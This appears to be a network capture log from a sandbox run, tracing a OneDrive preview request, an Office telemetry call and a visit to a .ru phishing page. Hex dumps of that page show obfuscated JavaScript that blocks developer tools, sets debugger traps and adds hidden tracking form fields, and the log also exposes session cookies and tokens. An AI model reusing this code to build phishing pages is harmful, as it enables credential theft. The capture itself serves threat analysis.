X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 5207B7CF74CE42E8BA9B8B4422259163 Ref B: BN3EDGE0512 Ref C: 2024-12-17T20:36:07Z Date: Tue, 17 Dec 2024 20:36:06 GMT Connection: close
2024-12-17 20:36:07 UTC	1963	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 30 00 00 04 20 08 03 00 00 00 0e a7 49 3c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 fb 50 4c 54 45 ff ff ff ee f0 f8 d2 da ec be c9 e5 ab c0 df a0 b7 db 8f ac d6 c8 d0 e8 dc e1 f0 6f 96 cc 27 6d bc 00 53 b2 00 58 b4 00 5c b5 41 7a c0 e5 e9 f4 00 5f b6 03 64 b8 60 8c c8 3e 79 c0 f5 f7 fb 13 67 b9 54 8a cd 65 8f c9 8a 9e d1 02 6e c6 c6 d7 f0 96 b9 e6 67 9d dd 0c 78 ca 00 6e d2 00 74 d2 01 79 d5 01 78 d4 8a b1 e4 00 86 dd 00 6a d0 00 71 d2 41 8a d8 7e aa e1 67 9c dd 00 8a de 13 90 df 1e 97 e3 59 a5 e4 89 c5 ef b4 d2 f0 75 b2 e7 d4 e8 f8 69 ac e6 29 a8 eb 27 a5 e9 00 a2 ea c9 e2 f6 00 9c e6 97 b9 e6 9f cf f2 6f bb ed a7 d3 f3 aa b7 dc 00 30 ab 00 3b Data Ascii: PNGIHDR0 I<sRGBgAMAaPLTEo'mSX\Az_d`>ygTengxntyxjqA~gYui)'o0;
2024-12-17 20:36:07 UTC	4576	IN	Data Raw: 35 0c 06 6e c7 5f b8 2c 64 a0 df 51 ef ba 4c 60 18 b8 1d 05 a6 b8 81 7e 27 3d 7f 5a c6 2f 94 31 70 0f a7 2c f4 61 ef 8b 2e bd f4 a8 cb 04 86 81 eb 7b f7 65 e1 03 fd 8e ba d6 65 4a 32 06 ee de be 02 b3 3f 03 fd 4e ba d4 65 be a6 cc e0 f5 f3 1d e5 62 17 5d 7a d9 b6 2e 33 ad cc 10 e8 35 88 e9 fb 6b 94 c5 d9 a6 2e b3 70 c9 10 e8 be 74 b9 ff 03 fd 4e 3a 7f 55 c6 d6 18 86 40 b7 9a 6c ff 16 5d 7a e9 b4 f4 7f 3a 9d 31 0c d2 a7 b6 d9 b0 bc bf 8b 2e 3d 6d ed 64 1e 49 27 0c 83 d4 79 77 cc cd 1d e8 77 b2 65 be cc ac 32 43 a1 c3 8f 5f de 9c 45 97 5e 5a eb b2 99 7b d3 f9 c2 40 b5 0f fb 07 33 d0 ef a8 b9 2e 33 84 61 48 b4 0c 62 06 37 d0 ef a4 69 be cc c6 18 86 c4 e3 8d 51 cc 80 07 fa 9d e4 75 99 8a 8c a1 91 16 2f 07 3f d0 ef 28 2d fd a7 73 85 81 9b 0c 6b 31 c3 31 d0 ef Data Ascii: 5n_,dQL`~'=Z/1p,a.{eeJ2?Neb]z.35k.ptN:U@l]z:1.=mdI'ywwe2C_E^Z{@3.3aHb7iQu/?(-sk11

Timestamp	Bytes transferred	Direction	Data
2024-12-17 20:36:10 UTC	2614	OUT	GET /personal/17cc1e7b64547fa0/_api/v2.1/drives/b!jYXwmShw9UmJq8i_PjoekfvN232NuhNAvOZijfCiH_SuXF6pgvCvT56vRvtsTJbX/items/01CDPN6UI6F3EAKAVWR5DJD5T7JMH3R7GQ/streams/content_preview_Op1.img/streamContent?tempauth=v1e.eyJzaXRlaWQiOiI5OWYwODU4ZC03MDI4LTQ5ZjUtODlhYi1jOGJmM2UzYTFlOTEiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvb25lZHJpdmUubGl2ZS5jb21AOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkIiwiZXhwIjoiMTczNDg5NjE2MCJ9.-HPRGMgdEbPfX1gb4pvrWYijdsAkVX_ZA5-OnQQYSUUfetmSHrh70J9dY7OseRMAZVeancIfkQk_NnscPaGDrA7KXn3q0lkLHkbGw23I3aVIqxuMY42DeOiFqJyF5Axyy1Lqh-FU5KlsJ6EMTcQree_8phJ0l9wIoONDC3QlJPg7hlAKEmV80OCggqUuUxM-RHJjm5vuoitYJCFs7I6zRYvWVyjaiGJYRJqPzC6Y26J-1DZBkMtdYS4XQXohFC5oQrb6YPsTmXPMJ9Cjf11A7Fe4U5yYtt0SUUgUvOhMgZY7wknBIDQE5NJ-eGL4izKnyZ2NdsZLmN3npWLLXZUsMpOTyqwzImW8A0JIYNTXLIkAGeRErXUzVpv00QLqxrp1WOBS11jXLvYOeT7AogyOgu69-7Imdf4ugDAXnN5LfGN6KHeQPGkeI3xxhIcJ94mAf0XH2nsLhifyPGHOeiAXqnV9xXP2Ww3YsV2tkVxyb9JKfceKO1Wjgc2RaictKmPMM5e_mZ_9lGeLpnQlr02YVdO0TeQXIlswvIlkI8toK_s.4wHNydaHButF87W0IMnCoR2V83av [TRUNCATED] Host: onedrive.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FkYzI3MDQ5YjllYmJiMjY4NjY5NTgwYjNlM2I1NzlmMWFlNDQ1YTBhZjM3ZjlmMzViYjMyODVjODgyMjQzYjQsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWRjMjcwNDliOWViYmIyNjg2Njk1ODBiM2UzYjU3OWYxYWU0NDVhMGFmMzdmOWYzNWJiMzI4NWM4ODIyNDNiNCwxMzM3ODk0MTY1ODAwMDAwMDAsMCwxMzM3OTAyNzc1ODY5NDQ4MTksMC4wLjAuMCwyNTgsOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkLCwsYzU0MDdmYjAtMTI1MS00ZjAyLWJjMmItODk2ZWMxOWUzMGY3LGM1NDA3ZmIwLTEyNTEtNGYwMi1iYzJiLTg5NmVjMTllMzBmNyxnK0pYTHF2U2hrYWxxdEVwSnpGdnVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwOTQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLEMyU0dleTBPdzlib1VqK1I5QTFVM1F1NVpiNmgvTVdGOXQwbkZTeVRlcml3QjFlVFZNYnQ4cXM1N25vTExkNjhGNFFtQ2tldVcxaGY1d0dHYjcxcStNZ0ZIajh0djR1TENNeDVPUGlienh5dXhjM1NPNk1WMmpKYmlNR3RwSkZCKzYydWhrRnNGd0NWeHNGM3BQZlNObnRRak5LYkN1bDBGUHV5ZFM2ZEVpZUZoQUxRMFVydDY3aGh2TWs1a1ZpRjVRVnBxaVBoS0tQelVuZEIxU0RWTmo4cUlGbm5mdmNkN3BLRUxyZXI2Um1xR2toWEducm5iZFk2 [TRUNCATED]
2024-12-17 20:36:10 UTC	3454	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 6539 Content-Type: application/octet-stream Expires: -1 Accept-Ranges: bytes ETag: "{05C82E1E-B602-468F-91F6-7F4B0FB8FCD0},35" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FkYzI3MDQ5YjllYmJiMjY4NjY5NTgwYjNlM2I1NzlmMWFlNDQ1YTBhZjM3ZjlmMzViYjMyODVjODgyMjQzYjQsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWRjMjcwNDliOWViYmIyNjg2Njk1ODBiM2UzYjU3OWYxYWU0NDVhMGFmMzdmOWYzNWJiMzI4NWM4ODIyNDNiNCwxMzM3ODk0MTY1ODAwMDAwMDAsMCwxMzM3OTAyNzc1ODY5NDQ4MTksMC4wLjAuMCwyNTgsOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkLCwsYzU0MDdmYjAtMTI1MS00ZjAyLWJjMmItODk2ZWMxOWUzMGY3LGM1NDA3ZmIwLTEyNTEtNGYwMi1iYzJiLTg5NmVjMTllMzBmNyxnK0pYTHF2U2hrYWxxdEVwSnpGdnVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwOTQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLEMyU0dleTBPdzlib1VqK1I5QTFVM1F1NVpiNmgvTVdGOXQwbkZTeVRlcml3QjFlVFZNYnQ4cXM1N25vTExkNjhGNFFtQ2tldVcxaGY1d0dHYjcxcStNZ0ZIajh0djR1TENNeDVPUGlienh5dXhjM1NPNk1WMmpKYmlNR3RwSkZCKzYydWhrRnNGd0NWeHNGM3BQZlNObnRRak5LYkN1bDBGUHV5ZFM2ZEVpZUZoQUxRMFVydDY3aGh2TWs1a1ZpRjVRVnBxaVBoS0tQelVuZEIxU0RWTmo4cUlGbm5mdmNkN3BLRUxyZXI2Um1xR2toWEducm5i [TRUNCATED] IsOCDI: 0 X-NetworkStatistics: 0,1051136,0,467,7546863,0,1051136,65 X-SharePointHealthScore: 1 X-VroomVersion: 2.1 CTag: "c:{05c82e1e-b602-468f-91f6-7f4b0fb8fcd0},5" X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 2b886ea1-f009-7000-632f-e63930e07d44 request-id: 2b886ea1-f009-7000-632f-e63930e07d44 MS-CV: oW6IKwnwAHBjL+Y5MOB9RA.0 SPRequestDuration: 39 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=00000000-0000-0000-0000-000000000000&destinationEndpoint=Edge-Prod-BN3r2&frontEnd=AFD&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com app.powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-WOPI-Diagnostics: {"SSRCacheHitStatus":"SSRFoundInCache"} X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25520 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7D5A47051B8A4B2D94021B5B5E564FA0 Ref B: BN3EDGE0811 Ref C: 2024-12-17T20:36:10Z Date: Tue, 17 Dec 2024 20:36:09 GMT Connection: close
2024-12-17 20:36:10 UTC	511	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 30 00 00 04 20 08 03 00 00 00 0e a7 49 3c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 fb 50 4c 54 45 ff ff ff ee f0 f8 d2 da ec be c9 e5 ab c0 df a0 b7 db 8f ac d6 c8 d0 e8 dc e1 f0 6f 96 cc 27 6d bc 00 53 b2 00 58 b4 00 5c b5 41 7a c0 e5 e9 f4 00 5f b6 03 64 b8 60 8c c8 3e 79 c0 f5 f7 fb 13 67 b9 54 8a cd 65 8f c9 8a 9e d1 02 6e c6 c6 d7 f0 96 b9 e6 67 9d dd 0c 78 ca 00 6e d2 00 74 d2 01 79 d5 01 78 d4 8a b1 e4 00 86 dd 00 6a d0 00 71 d2 41 8a d8 7e aa e1 67 9c dd 00 8a de 13 90 df 1e 97 e3 59 a5 e4 89 c5 ef b4 d2 f0 75 b2 e7 d4 e8 f8 69 ac e6 29 a8 eb 27 a5 e9 00 a2 ea c9 e2 f6 00 9c e6 97 b9 e6 9f cf f2 6f bb ed a7 d3 f3 aa b7 dc 00 30 ab 00 3b Data Ascii: PNGIHDR0 I<sRGBgAMAaPLTEo'mSX\Az_d`>ygTengxntyxjqA~gYui)'o0;
2024-12-17 20:36:10 UTC	6028	IN	Data Raw: 66 00 3a 66 90 b6 3a 00 3a 3a 66 66 90 66 66 66 66 3a 3a 3a 00 3a 3a 3a 69 78 9c db ff b6 db b6 b6 90 66 3a 89 d4 ff 66 b6 b6 e2 be 9c c6 ea ff e2 d4 c5 b6 db db e2 be b1 89 d4 ec 90 db b6 66 90 db 03 6a 29 d9 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 17 19 49 44 41 54 78 5e ed dd 89 7b 5b d5 99 07 60 d9 09 d8 4d 1c 6c 5a 87 49 69 21 81 50 5a 97 a5 94 b8 0c 10 cb b1 94 c4 d8 b1 6c c7 09 4d 13 0a 0c b4 d0 16 28 5d a6 03 d3 76 3a 53 e8 3e 0b 6d 67 df db d9 67 fe cc b9 e7 e8 5c 59 92 65 49 b6 af 23 39 79 df a7 45 fb d5 cd f3 9c 9f ce 77 16 c9 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: f:f:::ffffff::::::ixf:ffj)pHYsodIDATx^{[`MlZIi!PZlM(]v:S>mgg\YeI#9yEw%

Timestamp	Bytes transferred	Direction	Data
2024-12-17 20:36:38 UTC	416	OUT	GET /suite/RemoteTelemetry.ashx?usid=497469c3-ba91-75a0-fd3e-4a5b1cb2babd HTTP/1.1 Host: common.online.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 20:36:39 UTC	1174	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS8-ARRAffinity=37a0d92e3e45b546c17e918c2038800db74ecc10feac816f5eb75862b603bd11;Path=/;Domain=common.online.office.com; samesite=none; secure; partitioned; httponly X-CorrelationId: a3ed614b-69d2-47ad-a8ec-ff506ac2605f X-UserSessionId: 497469c3-ba91-75a0-fd3e-4a5b1cb2babd Strict-Transport-Security: max-age=31536000 X-OfficeFE: BL6PEPF00009D54 X-OfficeVersion: 16.0.18404.41002 X-OfficeCluster: PUS8 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BL6PEPF00009321 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: B130811C0DE14F3A860CB881B0D78C41 Ref B: EWR311000104035 Ref C: 2024-12-17T20:36:38Z Date: Tue, 17 Dec 2024 20:36:38 GMT Connection: close
2024-12-17 20:36:39 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-12-17 20:36:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-12-17 20:36:43 UTC	674	OUT	GET /Kkw5r3/ HTTP/1.1 Host: uoqp.foadinexer.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 20:36:44 UTC	1246	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 20:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rshulJIomEwa%2BA%2Bq1SAXdGU%2FwboTLfPyKg94GdZhEjrRlivGhVycUwOsUnxjb6luZgHbskCSIk2WOR4BphyJNROsOz6jBpHTEoHmCIdy6HXQqLXwUqBe%2B7N7Hcv%2BcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5476&min_rtt=5453&rtt_var=1578&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1579&delivery_rate=508844&cwnd=251&unsent_bytes=0&cid=7f531d8f8e0d8bc7&ts=145&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjRaOWdYU2tNeEltM1dGa2syY1ExcUE9PSIsInZhbHVlIjoic25iQ1dPOEdTQlBQNUl6Tjk4dkVsR3lzZHU2RzN1ekkrbkxRUHVJM0w3S09CUGVoNmhwZVpzTStiWkE1ZElhKzA3ZXhVRytxNVZvN2Q0aUIramQ5TTZVcXVIYUZUSDRvQk1SUlBxUVZrOEV0dFk2MHcwS1BTeFdQMVJHRFFNODQiLCJtYWMiOiJhNGU3MWUyZTk5NGUxNDhmMTAxMTk1MTBkZjNmMmZjMDc1OGNjZTJhYWY0N2MyMmFmYWU3YmRlZDVlN2E4NjA0IiwidGFnIjoiIn0%3D; expires=Tue, 17-Dec-2024 22:36:43 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-17 20:36:44 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 39 6d 52 32 55 77 54 6e 5a 6f 63 6a 6c 56 62 56 59 79 56 33 5a 46 62 79 74 72 56 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 6e 64 44 61 46 64 76 62 6e 5a 31 55 44 46 36 53 6b 56 78 54 6b 31 4b 4e 46 5a 58 62 48 56 58 56 33 46 56 4e 55 74 73 54 32 30 72 51 33 56 76 56 47 68 69 4b 7a 52 7a 63 31 55 7a 51 55 78 6c 54 6a 55 76 55 6b 59 34 63 6e 70 71 64 47 70 4e 51 31 70 51 59 57 30 32 4f 55 39 77 59 55 39 4f 53 32 74 79 52 48 5a 59 62 48 64 53 5a 55 46 78 64 46 56 4a 59 57 45 78 4e 6a 52 6e 59 6a 4e 57 64 69 39 61 4b 33 6c 4f 63 6c 42 6d 62 56 42 71 57 44 42 68 55 6b 64 4d 4e 33 68 68 61 7a 52 35 4d 32 35 50 61 30 56 4a 63 57 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im9mR2UwTnZocjlVbVYyV3ZFbytrVFE9PSIsInZhbHVlIjoiYndDaFdvbnZ1UDF6SkVxTk1KNFZXbHVXV3FVNUtsT20rQ3VvVGhiKzRzc1UzQUxlTjUvUkY4cnpqdGpNQ1pQYW02OU9wYU9OS2tyRHZYbHdSZUFxdFVJYWExNjRnYjNWdi9aK3lOclBmbVBqWDBhUkdMN3hhazR5M25Pa0VJcWo
2024-12-17 20:36:44 UTC	1369	IN	Data Raw: 31 34 34 37 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 77 68 65 72 65 20 70 72 65 70 61 72 61 74 69 6f 6e 20 61 6e 64 20 6f 70 70 6f 72 74 75 6e 69 74 79 20 6d 65 65 74 2e 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 54 68 65 20 73 74 61 72 74 69 6e 67 20 70 6f 69 6e 74 20 6f 66 20 61 6c 6c 20 61 63 68 69 65 76 65 6d 65 6e 74 20 69 73 20 64 65 73 69 72 65 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 56 62 31 46 77 4c 6d 5a 76 59 57 52 70 62 6d 56 34 5a 58 49 75 63 6e 55 76 53 32 74 33 4e 58 49 7a 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 Data Ascii: 1447... Success is where preparation and opportunity meet. -->... The starting point of all achievement is desire. --><script>if(atob("aHR0cHM6Ly9Vb1FwLmZvYWRpbmV4ZXIucnUvS2t3NXIzLw==") == "nomatch"){document.write(decodeURIComponent(escape(
2024-12-17 20:36:44 UTC	1369	IN	Data Raw: 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 30 52 5a 55 6b 4e 68 54 32 31 4b 55 6e 51 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4f 54 56 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 Data Ascii: e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0RZUkNhT21KUnQuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogOTVweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmV
2024-12-17 20:36:44 UTC	1369	IN	Data Raw: 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 7a Data Ascii: CBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5z
2024-12-17 20:36:44 UTC	1092	IN	Data Raw: 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 5a 47 56 69 64 57 64 6e 5a 58 49 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 46 64 4c 61 6b 64 4c 63 6b 39 71 56 47 77 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 67 4b 46 64 4c 61 6b 64 4c 63 6b 39 71 56 47 77 67 4c 53 42 69 63 48 68 6d 53 31 46 55 52 6d 39 77 49 44 34 67 56 47 6c 30 59 31 42 52 5a 47 46 55 64 69 41 6d 4a 69 41 68 55 45 74 51 52 6c 4e 79 55 45 39 49 63 79 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 52 47 70 69 53 32 46 61 65 45 56 35 56 69 41 39 49 48 52 79 64 57 55 37 44 51 6f 67 49 43 41 67 49 Data Ascii: BwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgZGVidWdnZXI7DQogICAgICAgIGNvbnN0IFdLakdLck9qVGwgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgaWYgKFdLakdLck9qVGwgLSBicHhmS1FURm9wID4gVGl0Y1BRZGFUdiAmJiAhUEtQRlNyUE9Icykgew0KICAgICAgICAgICAgRGpiS2FaeEV5ViA9IHRydWU7DQogICAgI
2024-12-17 20:36:44 UTC	1369	IN	Data Raw: 63 31 65 0d 0a 61 57 35 72 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 61 58 41 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 70 63 43 49 67 64 6d 46 73 64 57 55 39 49 6c 56 75 61 32 35 76 64 32 34 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 79 5a 57 59 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 79 5a 57 59 69 49 48 5a 68 62 48 56 6c 50 53 49 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 31 59 53 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 48 56 68 49 69 Data Ascii: c1eaW5rIiB2YWx1ZT0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkaXAiIG5hbWU9ImJsdGRpcCIgdmFsdWU9IlVua25vd24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGRyZWYiIG5hbWU9ImJsdGRyZWYiIHZhbHVlPSIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGR1YSIgbmFtZT0iYmx0ZHVhIi
